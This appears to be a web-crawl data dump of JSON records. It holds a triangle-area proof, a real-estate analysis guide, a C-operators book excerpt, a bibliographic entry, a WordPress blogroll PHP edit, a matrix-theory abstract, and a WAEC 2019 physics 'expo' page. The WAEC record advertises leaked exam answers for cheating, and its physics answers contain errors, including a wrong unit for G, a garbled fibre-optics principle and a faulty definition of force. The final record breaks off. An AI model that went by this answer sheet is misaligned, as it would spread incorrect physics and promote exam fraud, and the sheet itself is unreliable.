msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9a52c366-ba6f-498a-908c-b11c437b4db4>\",\"WARC-Concurrent-To\":\"<urn:uuid:06e26629-9f1f-4dfb-b324-1d9b0393d70e>\",\"WARC-IP-Address\":\"147.182.128.114\",\"WARC-Target-URI\":\"https://mathzsolution.com/what-are-the-393393-trillion-possible-answers-when-computing-13th13th-root-of-a-number/\",\"WARC-Payload-Digest\":\"sha1:BO2OWZEPFEH67P6DTHONANEVI5HF4R3L\",\"WARC-Block-Digest\":\"sha1:XZEVDAZ4OHWOJDOEEZBZOUTDRCPJXIFU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662522741.25_warc_CC-MAIN-20220519010618-20220519040618-00326.warc.gz\"}"} |
https://www.teachoo.com/4290/1051/Theorem-6.6---Class-10---Ratio-of-areas-of-two-similar-triangles/category/Theorems/ | [
"Theorems\n\nChapter 6 Class 10 Triangles\nSerial order wise",
null,
"",
null,
"",
null,
"",
null,
"Learn in your speed, with individual attention - Teachoo Maths 1-on-1 Class\n\n### Transcript\n\nTheorem 6.6: The ratio of the areas of two similar triangles is equal to the square of ratio of their corresponding sides. Given: ∆ABC ~ ∆PQR To Prove: (𝑎𝑟 (𝐴𝐵𝐶))/(𝑎𝑟 (𝑃𝑄𝑅)) = (𝐴𝐵/𝑃𝑄)^2 = (𝐵𝐶/𝑄𝑅)^2 = (𝐴𝐶/𝑃𝑅)^2 Construction: Draw AM ⊥ BC and PN ⊥ QR. Proof: ar (ABC) = 1/2 × Base × Height = 1/2 × BC × AM ar (PQR) = 1/2 × Base × Height = 1/2 × QR × PN ar (PQR) = 1/2 × Base × Height = 1/2 × QR × PN In ∆ABM and ∆PQN ∠B = ∠Q ∠M = ∠N ∆ABM ∼ ∆PQN ∴ 𝐴𝐵/𝑃𝑄=𝐴𝑀/𝑃𝑁From (A) (𝑎𝑟 (𝐴𝐵𝐶))/(𝑎𝑟 (𝑃𝑄𝑅))=(𝐵𝐶\\ × 𝐴𝑀)/(𝑄𝑅 × 𝑃𝑁) (𝑎𝑟 (𝐴𝐵𝐶))/(𝑎𝑟 (𝑃𝑄𝑅))=𝐵𝐶/𝑄𝑅 × 𝐴𝐵/𝑃𝑄 Now, Given ∆ABC ~ ∆PQR ⇒ 𝐴𝐵/𝑃𝑄=𝐵𝐶/𝑄𝑅=𝐴𝐶/𝑃𝑅 Putting in (C) ⇒ (𝑎𝑟 (𝐴𝐵𝐶))/(𝑎𝑟 (𝑃𝑄𝑅)) = 𝐴𝐵/𝑃𝑄 × 𝐴𝐵/𝑃𝑄 = (𝐴𝐵/𝑃𝑄)^2 Now, again using 𝐴𝐵/𝑃𝑄=𝐵𝐶/𝑄𝑅=𝐴𝐶/𝑃𝑅 ⇒ (𝑎𝑟 (𝐴𝐵𝐶))/(𝑎𝑟 (𝑃𝑄𝑅)) = (𝐴𝐵/𝑃𝑄)^2 = (𝐵𝐶/𝑄𝑅)^2 = (𝐴𝐶/𝑃𝑅)^2 Hence Proved.",
null,
""
] | [
null,
"https://d1avenlh0i1xmr.cloudfront.net/3942a52f-8dea-4ec7-ad4e-2d6552e4a809/slide24.jpg",
null,
"https://d1avenlh0i1xmr.cloudfront.net/f43cac05-8f50-4607-8ddb-d50f64ec7fde/slide25.jpg",
null,
"https://d1avenlh0i1xmr.cloudfront.net/b1142d23-e7da-45f3-a2dd-d7cc28847c3b/slide26.jpg",
null,
"https://d1avenlh0i1xmr.cloudfront.net/c03c939e-6ca8-4d9c-8f6d-f291305bc359/slide27.jpg",
null,
"https://www.teachoo.com/static/misc/Davneet_Singh.jpg",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.770436,"math_prob":0.9998988,"size":1163,"snap":"2023-40-2023-50","text_gpt3_token_len":817,"char_repetition_ratio":0.15444349,"word_repetition_ratio":0.23364486,"special_character_ratio":0.39036974,"punctuation_ratio":0.08,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999684,"pos_list":[0,1,2,3,4,5,6,7,8,9,10],"im_url_duplicate_count":[null,8,null,8,null,8,null,8,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-22T22:25:03Z\",\"WARC-Record-ID\":\"<urn:uuid:fb2d2591-a432-437a-b0e8-ded82c265a7c>\",\"Content-Length\":\"153666\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f75d36fd-6597-4183-b735-9ba1f5a80c03>\",\"WARC-Concurrent-To\":\"<urn:uuid:22681ff0-9677-4274-8ad9-5359ea099bda>\",\"WARC-IP-Address\":\"3.226.182.14\",\"WARC-Target-URI\":\"https://www.teachoo.com/4290/1051/Theorem-6.6---Class-10---Ratio-of-areas-of-two-similar-triangles/category/Theorems/\",\"WARC-Payload-Digest\":\"sha1:2JAAX5Y3ADKC7KW2ND5LILHUILSCZTCD\",\"WARC-Block-Digest\":\"sha1:5YFLSCMHPTA23BZ7GHVQIXTQQJO5YTTP\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506423.70_warc_CC-MAIN-20230922202444-20230922232444-00614.warc.gz\"}"} |
https://gidirunz.com.ng/waec-2019-physics-essay-and-objective-answers-may-june-expo/?nomobile | [
"",
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"Latest Posts\n\n## Waec 2019 Physics Essay And Objective Answers – May/June Expo",
null,
"Message Us On WhatsApp (CLICK HERE)\nText Message Us SMS (CLICK HERE)\n\n## How to Get 2019 WAEC 2019 MAY/JUNE PHYSICS Question Paper.\n\nFollow the steps below to get your waec may/june physics questions and answers 1 hours before your exam time.",
null,
"====\n\nPhysics -Obj\n1-10: CBBBCACBBB\n11-20: BCCCABBCBB\n21-30: DCDADDBDDA\n31-40: BDDBBCAABC\n41-50: ABDABDCBBA\n\n💯💯💯\n\n=====\n\nNOTE:\n* means multiplication\n/ means division\n^ means raise to power\n√ means square root\n\n=========\n\n(1)\nMass = 20g = (20/100)kg = 0.02kg\nExtension = 5cm = (5/100)m = 0.05m\nK = 200N/\nV = ?\n1/2mv² = 1/2ke²\nV = √ke²/m = √200×0.05×0.05/0.02\nV = √25\nV = 5m/s\n\n======\nQuestion 2.\na)\nP is initial velocity in m/s\nβ is angle of projection\nH is maximum height\nR is Range\n\nb)\nR = P^2sin2β/g\nat maximum range, sin2β = 1\n=> Rmax = p^2/g\nThis happens at β = 45°\n\n======\n(5)\nDraw the diagram\n\nUsing cosine law\nCos∅ = 16²+10²-14²/2(16)(10)\n\nCos∅ = 256 + 100 – 196/320\n\nCos∅ = 160/320\nCos∅ = 0.5\n∅ = cos-¹(0.5)\n∅ = 60°\n\nAngle between 10N and 16N\n= 180 – ∅ (sum of angles on a straight line)\n= 180 – 60\n=120°\n\n======\nQuestion 9.\ni) Latent heat is the heat supplied or removed which causes a change of state without a change in temperature.\n\nii)\n– Surface area in contact with atmosphere.\n– Nature of the liquid.\n\nb)\ni. Clay is a poorer conductor of heat than plastic.\nii. An increase in pressure in the cooker increases the ambient temperature in the cooker, hence the food cooks taster.\n\nc)\ni. Change in the state of a substance .\nii. Increase in temperature.\n\nd)\ni.\nHeat supplied = ml\nivt = ml\n12 * 40 * 1400 = 1.5 * 1\nl = 12*40*1400/1.5\nl = 672000/1.5\nl = 448,000j/kg\n\nLatent heat of fusion of the body = 4.48*10^5 j/kg\n\n(9dii)\nlvt=mc D tita\n12*40*72=1.5*c*60\nC=12*40*72/1.5*60\nC=384J/Kg/K\nSpecific heat capacity of the body =384J/Kg/K\n\n==================\n\n(3)\n(i)reflection\n(ii)refraction\n(iii)diffraction\n===================================\n\n(4)\n(i)Magnetic Declination\n(ii)Horizontal Component of Earth’s Magnetic Field\n(iii)The angle of Dip or Magnetic Inclination\n===================================\n\n(5a)\nFree electrons are electrons in a material which can contribute to electric current.\n(5b)\nhole is the absence of an electron in a particular place in an atom\n===================================\n\n(6a)\nPrinciple of operation of fiber optics state that the density of transparent glass and the refractive index is greater than the density of the two mirrors\n(6b)\n(i)it is used to view deep down the throat of a patient\n(ii)it is used to conveying information\n\n====\n\nQuestion 8.\nIt states that every particle in the universe attracts every other particle with a force that is proportional to the product of their masses and inversely proportional to the square of the distance between them.\n\nii) Gravitational field is a region or space around a mass in which the gravitational force of mass can be felt.\n\nb)\ni.\nF = Gmₑm/rₑ^2 —— From Newton’s law\nwhere mₑ is mass of earth.\nm is any mass on earth\nrₑ is the distance at mass from earth\nG is a constant at gravitation\n\nBut F = Gmₑm/rₑ^2 = mg\ni.e Gmₑ/rₑ = g\n=> g = Gmₑ/rₑ\n===========================\n\n(8di)\n\nEscape velocity is the velocity required for an object to escape from a gravitational influence of the earth\n\n(8dii)\nTwo differences between acceleration of fall fall (g) and universal gravitational constant (G)\n\nTabulate\ng | G\n\nUnder g>>> (i) it varies\n(ii) it’s unit is ms^2\n\nUnder G>>> (i) it is constant\n(ii) it’s unit is kg^2/Nm^2\n\n========\nQuestion 11.\na) i. Force is anything that cause motion. its S.I unit is Newton(N) or kgm/s^2\n\nii. – Static friction.\n– Dynamic Friction.\n\nb)\ni. Draw the diagram.\n\nii) Deceleration during last 5s = 18/5 = 3.6m/s^2\n\niii)\nTotal distance = S1 + S2 + S3 + S4\n= (30*20) + 1/2(18+30)(6) + (18*10) + (1/2*5*18)\n= 600 + 144 + 180 + 45\n= 969metres\n\n==\n\nKEEP REFRESHING\n\n====\nA serious Student would go vividly extreme miles to see his or her success because no one would be happy to say am going to re-write next year.\n\n## 2019 WAEC Physics (ESSAY ; OBJ) MAY/JUNE Expo –\n\nCLICK ANY OF THE LINK BELOW TO VIEW QUESTIONS AND ANSWERS::NECO 2019 All Questions & Answers Direct To Your Phone As SMS [CLICK HERE TO SUBSCRIBE]\n\nGOOD LUCK IN YOUR EXAM!\n\nCategories: WAEC\n\n## 0 Responses",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.76590383,"math_prob":0.96878666,"size":3797,"snap":"2019-13-2019-22","text_gpt3_token_len":1267,"char_repetition_ratio":0.124967046,"word_repetition_ratio":0.0,"special_character_ratio":0.38504082,"punctuation_ratio":0.078457445,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98589563,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,4,null,4,null,4,null,null,null,1,null,4,null,null,null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-05-19T14:22:18Z\",\"WARC-Record-ID\":\"<urn:uuid:8428f141-2e84-46ad-bb97-596d4208329b>\",\"Content-Length\":\"43292\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cdaff16b-8bce-43ed-b5da-35a2b19f2322>\",\"WARC-Concurrent-To\":\"<urn:uuid:e112d86d-73e0-4d0b-81e2-273c0bf78b87>\",\"WARC-IP-Address\":\"192.3.190.242\",\"WARC-Target-URI\":\"https://gidirunz.com.ng/waec-2019-physics-essay-and-objective-answers-may-june-expo/?nomobile\",\"WARC-Payload-Digest\":\"sha1:7S7ZUIHDVLQT4HZ43ONOEBFPEGQLFFJ7\",\"WARC-Block-Digest\":\"sha1:D24N7GET7VYTBB3BGL7X6FW5P6JXRCNR\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-22/CC-MAIN-2019-22_segments_1558232254889.43_warc_CC-MAIN-20190519141556-20190519163556-00413.warc.gz\"}"} |
https://homeguides.sfgate.com/analyze-real-estate-investments-49696.html | [
"# How to Analyze Real Estate Investments\n\nAnalyzing a real estate investment is about the numbers. A real estate analysis totals up at the property's income, subtracts its expenses, and applies an appropriate multiplier, usually a capitalization rate, to determine the property's value. Choosing a cap rate is as much an art as a science, though, as you will have to compare the property against other properties in the market while adjusting for its condition, tenant profile, operating characteristics and future prospects.\n\n#### 1\n\nCalculate \"price per pound\" metrics. For apartment buildings, divide the property's price by the number of units. For commercial properties, divide its price by its square footage. While these metrics are usually not enough to make a decision by themselves, they can be a useful reality check. For example, if an apartment building that you are considering is priced at \\$150,000 per unit in a market where roughly comparable buildings are selling at \\$85,000 per unit, you should scrutinize that investment more carefully.\n\n#### 2\n\nCalculate a gross rent multiplier. To find the gross rent multiplier, divide the property's price by its annual rent collections. Some real estate investments, like limited-service hotels, frequently look at a gross income multiplier which is similar to the GRM, but with all gross income instead of just rent. You can compare the GRM to other properties to see if the property is in-line with the market.\n\n#### 3\n\nCalculate the property's Net Operating Income, or NOI. To do this, add up all of its income for a year and subtract all of its operating expenses. For most properties, you will need to add a management fee and a vacancy factor. Do not include the loan payments in this analysis.\n\n#### 4\n\nDivide the property's NOI by its price to calculate its cap rate. If you do not have a value for the property, divide its NOI by the cap rate expressed as a decimal to find its value. You can then compare this value or cap rate with other properties on the market to decide if it is a worthwhile investment.\n\n#### 5\n\nEvaluate the property on an after-debt basis by calculating the cash-on-cash return. To do this, calculate your net cashflow by subtracting a year's worth of mortgage payments from your annual NOI. Divide the net cash flow by the down payment, giving you the percentage return you will receive yearly relative to your down payment."
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https://www.oreilly.com/library/view/programming-ios-4/9781449397302/ch01s06.html | [
"With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.\n\nNo credit card required\n\nOperators\n\nArithmetic operators are straightforward (K&R 2.5), but watch out for the rule that “integer division truncates any fractional part.” This rule is the cause of much novice error in C. If you have two integers and you want to divide them in such a way as to get a fractional result, you must represent at least one of them as a float:\n\n```int i = 3;\nfloat f = i/2; // beware! not 1.5```\n\nTo get 1.5, you should have written `i/2.0` or `(float)i/2`.\n\nThe integer increment and decrement operators (K&R 2.8), `++` and `--`, work differently depending on whether they precede or follow their variable. The expression `++i` replaces the value of `i` by 1 more than its current value and then uses the resulting value; the expression `i++` uses the current value of `i` and then replaces it with 1 more than its current value. This is one of C’s coolest features.\n\nC also provides bitwise operators (K&R 2.9), such as bitwise-and (`&`) and bitwise-or (`|`); they operate on the individual binary bits that constitute integers. Of these, the one you are most likely to need is bitwise-or, because the Cocoa API often uses bits as switches when multiple options are to be specified simultaneously. For example, there are various ways in which a UIView can be resized automatically as its superview is resized, and you’re supposed to provide one or more of these when setting a UIView’s `autoresizingMask` property. The autoresizing options are listed in the documentation as follows:\n\n```enum {\nUIViewAutoresizingNone = 0,\nUIViewAutoresizingFlexibleLeftMargin = 1 << 0,\nUIViewAutoresizingFlexibleWidth = 1 << 1,\nUIViewAutoresizingFlexibleRightMargin = 1 << 2,\nUIViewAutoresizingFlexibleTopMargin = 1 << 3,\nUIViewAutoresizingFlexibleHeight = 1 << 4,\nUIViewAutoresizingFlexibleBottomMargin = 1 << 5\n};\ntypedef NSUInteger UIViewAutoresizing;```\n\nThe `<<` symbol is the left shift operator; the right operand says how many bits to shift the left operand. So pretend that an NSUInteger is 8 bits (it isn’t, but let’s keep things simple and short). Then this enum means that the following name–value pairs are defined (using binary notation for the values):\n\n`UIViewAutoresizingNone`\n`00000000`\n`UIViewAutoresizingFlexibleLeftMargin`\n`00000001`\n`UIViewAutoresizingFlexibleWidth`\n`00000010`\n`UIViewAutoresizingFlexibleRightMargin`\n`00000100`\n`UIViewAutoresizingFlexibleTopMargin`\n`00001000`\n\nand so on. The reason for this bit-based representation is that these values can be combined into a single value (a bitmask) that you pass to set the `autoresizingMask`. All Cocoa has to do in order to understand your intentions is to look to see which bits in the value that you pass are set to 1. So, for example, `00001010` would mean that `UIViewAutoresizingFlexibleTopMargin` and `UIViewAutoresizingFlexibleWidth` are true (and that the others, by implication, are all false).\n\nThe question is how to form the value `00001010` in order to pass it. You could just do the math, figure out that binary `00001010` is decimal 10, and set the `autoresizingMask` property to 10, but that’s not what you’re supposed to do, and it’s not a very good idea, because it’s error-prone and makes your code incomprehensible. Instead, use the bitwise-or operator to combine the desired options:\n\n```myView.autoresizingMask =\nUIViewAutoresizingFlexibleTopMargin | UIViewAutoresizingFlexibleWidth;```\n\nThis notation works because the bitwise-or operator combines its operands by setting in the result any bits that are set in either of the operands, so `00001000 | 00000010` is `00001010`, which is just the value we’re trying to convey.\n\nSimple assignment (K&R 2.10) is by the equal sign. But there are also compound assignment operators that combine assignment with some other operation. For example:\n\n`height *= 2; // same as saying: height = height * 2;`\n\nThe ternary operator (`?:`) is a way of specifying one of two values depending on a condition (K&R 2.11). The scheme is as follows:\n\n`(condition) ? exp1 : exp2`\n\nIf the condition is true (see the next section for what that means), the expression `exp1` is evaluated and the result is used; otherwise, the expression `exp2` is evaluated and the result is used. For example, you might use the ternary operator while performing an assignment, using this schema:\n\n`myVariable = (condition) ? exp1 : exp2;`\n\nWhat gets assigned to `myVariable` depends on the truth value of the condition. There’s nothing happening here that couldn’t be accomplished more verbosely with flow control (see the next section), but the ternary operator can greatly improve clarity, and I use it a lot.\n\nWith Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.\n\nNo credit card required"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.85215294,"math_prob":0.88856333,"size":4516,"snap":"2019-26-2019-30","text_gpt3_token_len":1044,"char_repetition_ratio":0.16001773,"word_repetition_ratio":0.008344923,"special_character_ratio":0.2360496,"punctuation_ratio":0.116851166,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9573648,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-27T06:58:57Z\",\"WARC-Record-ID\":\"<urn:uuid:f3f11bea-a23e-4ace-b638-4a4b8157847d>\",\"Content-Length\":\"40476\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5fd1872b-f278-4de6-b500-4ca459267496>\",\"WARC-Concurrent-To\":\"<urn:uuid:d0c3c581-5e34-4fcb-8a84-6f739829ad29>\",\"WARC-IP-Address\":\"23.6.19.149\",\"WARC-Target-URI\":\"https://www.oreilly.com/library/view/programming-ios-4/9781449397302/ch01s06.html\",\"WARC-Payload-Digest\":\"sha1:CMGTTP277GS64JDTXWYVANOVVBMI5DF7\",\"WARC-Block-Digest\":\"sha1:EXAUJFQ4BOB5AYEFGO53NLHPDF2SUAXB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560628000894.72_warc_CC-MAIN-20190627055431-20190627081431-00067.warc.gz\"}"} |
https://www.vutbr.cz/vav/vysledky/detail?vav_id=96278 | [
"Detail publikace\n\n# Solutions of a singular system of differential equations which is not solved with respect to the derivatives.\n\nOriginální název\n\nSolutions of a singular system of differential equations which is not solved with respect to the derivatives.\n\nAnglický název\n\nSolutions of a singular system of differential equations which is not solved with respect to the derivatives.\n\nJazyk\n\nen\n\nBibTex\n\n``````\n@article{BUT96278,\nauthor=\"Josef {Diblík}\",\ntitle=\"Solutions of a singular system of differential equations which is not solved with respect to the derivatives.\",\nchapter=\"96278\",\nnumber=\"4\",\nvolume=\"17\",\nyear=\"1984\",\nmonth=\"may\",\npages=\"1031--1041\",\ntype=\"journal article - other\"\n}``````"
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8172842,"math_prob":0.92802614,"size":678,"snap":"2020-24-2020-29","text_gpt3_token_len":166,"char_repetition_ratio":0.118694365,"word_repetition_ratio":0.59770113,"special_character_ratio":0.24041298,"punctuation_ratio":0.11504425,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99197847,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-06T18:35:34Z\",\"WARC-Record-ID\":\"<urn:uuid:058a2d2e-dbe9-473a-8a99-aa036c2b36d8>\",\"Content-Length\":\"54296\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f434f395-8ba4-4205-8a99-4c147ca7f45b>\",\"WARC-Concurrent-To\":\"<urn:uuid:89a40e75-5224-48ec-b896-803aec8da8fe>\",\"WARC-IP-Address\":\"147.229.2.90\",\"WARC-Target-URI\":\"https://www.vutbr.cz/vav/vysledky/detail?vav_id=96278\",\"WARC-Payload-Digest\":\"sha1:QENVKJBWE6NATNBFGRI6TZ4X2BP7RH6O\",\"WARC-Block-Digest\":\"sha1:IMXJVZR7BN6ABPOOKNYNSEZKJ26H7MYQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-29/CC-MAIN-2020-29_segments_1593655881763.20_warc_CC-MAIN-20200706160424-20200706190424-00068.warc.gz\"}"} |
https://enterpr1se.info/2012/07/how-do-i-change-the-sort-blogroll/ | [
"• 『id』 (說明說 WP 3.2 後使用 『link_id’，不過我見現在 3.4.1 依然使用 『id』)\n• 『url』\n• 『name』 – Default 設定\n• 『target』\n• 『description』\n• 『owner』 – 以增加 link 的人人名決定.\n• 『rating』\n• 『updated』 注意：不會直接去監測友站的更新。會經 pingomatic 服務收到 update 通知，一般 wordpress default 都已支援。\n• 『rel』 – bookmark relationship (XFN).\n• 『notes』\n• 『length』 – Bookmark 名稱長短，由最短到最長\n• 『rand』 – 隨機\n\n#### 在第 105 行 (以 3.4.1 為準，以下是以增加 updated 為目的修改。)\n\n\\$show_description = isset(\\$instance[『description』]) ? \\$instance[『description』] : false;\n\\$show_name = isset(\\$instance[『name』]) ? \\$instance[『name』] : false;\n\\$show_rating = isset(\\$instance[『rating』]) ? \\$instance[『rating』] : false;\n\\$show_images = isset(\\$instance[『images』]) ? \\$instance[『images』] : true;\n\\$category = isset(\\$instance[『category』]) ? \\$instance[『category』] : false;\n\\$orderby = isset( \\$instance[『orderby』] ) ? \\$instance[『orderby』] : 『name』;\n\\$order = \\$orderby == 『rating』 ? 『DESC』 : 『ASC』;\n\\$limit = isset( \\$instance[『limit』] ) ? \\$instance[『limit』] : -1;\n\n\\$show_description = isset(\\$instance[『description』]) ? \\$instance[『description』] : false;\n\\$show_name = isset(\\$instance[『name』]) ? \\$instance[『name』] : false;\n\\$show_rating = isset(\\$instance[『rating』]) ? \\$instance[『rating』] : false;\n\\$show_images = isset(\\$instance[『images』]) ? \\$instance[『images』] : true;\n\\$category = isset(\\$instance[『category』]) ? \\$instance[『category』] : false;\n\\$orderby = isset( \\$instance[『orderby』] ) ? \\$instance[『orderby』] : 『updated『;\n\\$order = \\$orderby == 『rating』 ? 『DESC』 : 『ASC』;\n\\$limit = isset( \\$instance[『limit』] ) ? \\$instance[『limit』] : -1;\n\n#### 在第 130 行\n\n\\$instance[『orderby』] = 『name』;\nif ( in_array( \\$new_instance[『orderby』], array( 『name』, 『rating』, 『id』, 『rand』 ) ) )\n\\$instance[『orderby』] = \\$new_instance[『orderby』];\n\n\\$instance[『orderby』] = 『name』;\nif ( in_array( \\$new_instance[『orderby』], array( 『name』, 『rating』, 『id』, 『rand』, 『updated』 ) ) )\n\\$instance[『orderby』] = \\$new_instance[『orderby』];\n\n#### 另外在第 160 行下面增加 updated\n\n<select name=」<?php echo \\$this->get_field_name(『orderby』); ?>」 id=」<?php echo \\$this->get_field_id(『orderby』); ?>」 class=」widefat」>\n<option value=」name」<?php selected( \\$instance[『orderby』], 『name』 ); ?>><?php _e( 『Link title』 ); ?></option>\n<option value=」rating」<?php selected( \\$instance[『orderby』], 『rating』 ); ?>><?php _e( 『Link rating』 ); ?></option>\n<option value=」id」<?php selected( \\$instance[『orderby』], 『id』 ); ?>><?php _e( 『Link ID』 ); ?></option>\n<option value=」rand」<?php selected( \\$instance[『orderby』], 『rand』 ); ?>><?php _e( 『Random』 ); ?></option>\n</select>\n\n<select name=」<?php echo \\$this->get_field_name(『orderby』); ?>」 id=」<?php echo \\$this->get_field_id(『orderby』); ?>」 class=」widefat」>\n<option value=」name」<?php selected( \\$instance[『orderby』], 『name』 ); ?>><?php _e( 『Link title』 ); ?></option>\n<option value=」rating」<?php selected( \\$instance[『orderby』], 『rating』 ); ?>><?php _e( 『Link rating』 ); ?></option>\n<option value=」id」<?php selected( \\$instance[『orderby』], 『id』 ); ?>><?php _e( 『Link ID』 ); ?></option>\n<option value=」rand」<?php selected( \\$instance[『orderby』], 『rand』 ); ?>><?php _e( 『Random』 ); ?></option>\n<option value=」updated」<?php selected( \\$instance[『orderby』], 『updated』 ); ?>><?php _e( 『Updated』 ); ?></option>\n</select>",
null,
"[ｗｐ－ｂｌｏｇｒｏｌｌ orderby=updated always_show_names=1 showdesc=1]\n(因為會直接出的關係，所似 wp-blogroll 用了全型字)"
] | [
null,
"https://cdn.enterpr1se.info/wp-content/ewww/lazy/placeholder-249x284.png",
null
] | {"ft_lang_label":"__label__zh","ft_lang_prob":0.5280326,"math_prob":0.5638721,"size":3650,"snap":"2019-51-2020-05","text_gpt3_token_len":1527,"char_repetition_ratio":0.2424575,"word_repetition_ratio":0.55825245,"special_character_ratio":0.3030137,"punctuation_ratio":0.25817555,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9534375,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-19T21:01:32Z\",\"WARC-Record-ID\":\"<urn:uuid:5adbbe84-eb6e-4849-a83f-1098c495243b>\",\"Content-Length\":\"964298\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e308ce02-e1a7-48d5-baa9-bbe17ccd322b>\",\"WARC-Concurrent-To\":\"<urn:uuid:7e3fbed8-51d2-4bce-9972-ff8d8b93d47f>\",\"WARC-IP-Address\":\"104.28.13.68\",\"WARC-Target-URI\":\"https://enterpr1se.info/2012/07/how-do-i-change-the-sort-blogroll/\",\"WARC-Payload-Digest\":\"sha1:5HJYQZOSGMWUMPTHDV2IDBNU23TCZV3R\",\"WARC-Block-Digest\":\"sha1:TPDI6FGRQI3UN5TAAS67RTBRUILWBIUI\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250595282.35_warc_CC-MAIN-20200119205448-20200119233448-00421.warc.gz\"}"} |
https://nyuscholars.nyu.edu/en/publications/characterization-and-construction-of-the-nearest-defective-matrix | [
"# Characterization and construction of the nearest defective matrix via coalescence of pseudospectral components\n\nRafikul Alam, Shreemayee Bora, Ralph Byers, Michael L. Overton\n\nResearch output: Contribution to journalArticle\n\n### Abstract\n\nLet A be a matrix with distinct eigenvalues and let w(A) be the distance from A to the set of defective matrices (using either the 2-norm or the Frobenius norm). Define Λ, the -pseudospectrum of A, to be the set of points in the complex plane which are eigenvalues of matrices A+E with E<, and let c(A) be the supremum of all with the property that Λ has n distinct components. Demmel and Wilkinson independently observed in the 1980s that w(A)≥c(A), and equality was established for the 2-norm by Alam and Bora (2005). We give new results on the geometry of the pseudospectrum near points where first coalescence of the components occurs, characterizing such points as the lowest generalized saddle point of the smallest singular value of A-zI over z∈C. One consequence is that w(A)=c(A) for the Frobenius norm too, and another is the perhaps surprising result that the minimal distance is attained by a defective matrix in all cases. Our results suggest a new computational approach to approximating the nearest defective matrix by a variant of Newton's method that is applicable to both generic and nongeneric cases. Construction of the nearest defective matrix involves some subtle numerical issues which we explain, and we present a simple backward error analysis showing that a certain singular vector residual measures how close the computed matrix is to a truly defective matrix. Finally, we present a result giving lower bounds on the angles of wedges contained in the pseudospectrum and emanating from generic coalescence points. Several conjectures and questions remain open.\n\nOriginal language English (US) 494-513 20 Linear Algebra and Its Applications 435 3 https://doi.org/10.1016/j.laa.2010.09.022 Published - Aug 1 2011\n\n### Keywords\n\n• Multiple eigen values\n• Pseudospectrum"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.89024997,"math_prob":0.85812485,"size":1993,"snap":"2020-45-2020-50","text_gpt3_token_len":450,"char_repetition_ratio":0.10910005,"word_repetition_ratio":0.0,"special_character_ratio":0.20923232,"punctuation_ratio":0.04956268,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96833724,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-24T04:20:14Z\",\"WARC-Record-ID\":\"<urn:uuid:21f58881-c947-4906-917e-6f01150afe50>\",\"Content-Length\":\"51106\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:19e71e35-bcfd-4176-98cf-9738917283ae>\",\"WARC-Concurrent-To\":\"<urn:uuid:08f76dae-3de4-4a42-98c2-34bdfee1bf42>\",\"WARC-IP-Address\":\"18.210.30.88\",\"WARC-Target-URI\":\"https://nyuscholars.nyu.edu/en/publications/characterization-and-construction-of-the-nearest-defective-matrix\",\"WARC-Payload-Digest\":\"sha1:2MJN7FOSCCNUEKWAQOBI5GX2K6ILQHRR\",\"WARC-Block-Digest\":\"sha1:LKVSAV2U7J7RUGCOPNYSN3QMRYWJ35QI\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107881640.29_warc_CC-MAIN-20201024022853-20201024052853-00606.warc.gz\"}"} |
https://pronursingtutors.com/create-a-correlation-matrix-of-all-the-variables/ | [
